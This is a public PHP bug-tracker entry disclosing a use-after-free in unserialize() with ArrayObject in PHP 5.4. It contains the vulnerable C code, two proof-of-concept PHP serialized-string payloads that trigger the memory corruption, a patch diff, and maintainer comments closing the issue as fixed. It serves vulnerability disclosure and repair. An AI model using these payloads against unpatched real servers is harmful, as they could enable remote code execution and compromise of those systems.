php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70155 Use After Free Vulnerability in unserialize() with SPLArrayObject
Submitted: 2015-07-27 14:37 UTC Modified: 2015-08-16 22:15 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.4.43 OS: *
Private report: No CVE-ID: None
 [2015-07-27 14:37 UTC] taoguangchen at icloud dot com
Description:
------------
I has reported some similar bugs in BUG#69425, but these bugs are not be fixed and can be exploited still.

```
	if (*p!='m') {
		if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
			goto outexcept;
		}
		intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
		zval_ptr_dtor(&intern->array);
		ALLOC_INIT_ZVAL(intern->array);
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
			goto outexcept;
		}
	}
	if (*p != ';') {
		goto outexcept;
	}
	++p;

	/* members */
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}
```

unserialize() allow to use R: or r: to set references. so attacker can set references to &intern->array and freed it, then set references via &pmembers will use that already freed memory. it is possible to execute arbitrary code remotely.

PoC1:
```
$inner = 'x:i:0;O:12:"DateInterval":1:{s:1:"y";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```

PoC2:
```
class test
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 'ryat';
	}
}

$inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-29 11:18 UTC] taoguangchen at icloud dot com
-Summary: Use After Free Vulnerability in unserialize() with SPLArrayObject/SPLObjectSto +Summary: Use After Free Vulnerability in unserialize() with SPLArrayObject -Operating System: +Operating System: *
 [2015-07-29 11:18 UTC] taoguangchen at icloud dot com
I post a patch for 5.4 series. (Test on 5.4 series)

diff --git a/php-5.4.43/spl_array.c b/php-5.4.43-fixed/spl_array.c
index ec9ce21..d1c6c4e 100644
--- a/php-5.4.43/spl_array.c
+++ b/php-5.4.43-fixed/spl_array.c
@@ -1777,6 +1777,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pflags);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pflags);
 
 	--p; /* for ';' */
 	flags = Z_LVAL_P(pflags);
@@ -1802,6 +1804,8 @@ SPL_METHOD(Array, unserialize)
 		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
 			goto outexcept;
 		}
+		
+		var_push_dtor(&var_hash, &intern->array);
 	}
 	if (*p != ';') {
 		goto outexcept;
@@ -1819,6 +1823,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pmembers);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pmembers);
 
 	/* copy members */
 	if (!intern->std.properties) {
 [2015-07-29 13:34 UTC] taoguangchen at icloud dot com
Related To: Bug #70166

to better illustrate this problem, i re-post a bug report.
 [2015-08-02 04:39 UTC] stas@php.net
I wasn't able to reproduce this problem on my setup, neither with valgrind nor with regular php, on php 5.4 with the code that is attached. How exactly do you reproduce it?
 [2015-08-02 04:39 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2015-08-02 04:42 UTC] taoguangchen at icloud dot com
-Status: Feedback +Status: Open
 [2015-08-02 04:42 UTC] taoguangchen at icloud dot com
plz to bug#70166
 [2015-08-16 22:15 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-08-16 22:15 UTC] stas@php.net
Looks like this is fixed by fix to #70166 in 5.4.44. Please reopen otherwise.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Nov 22 01:01:30 2024 UTC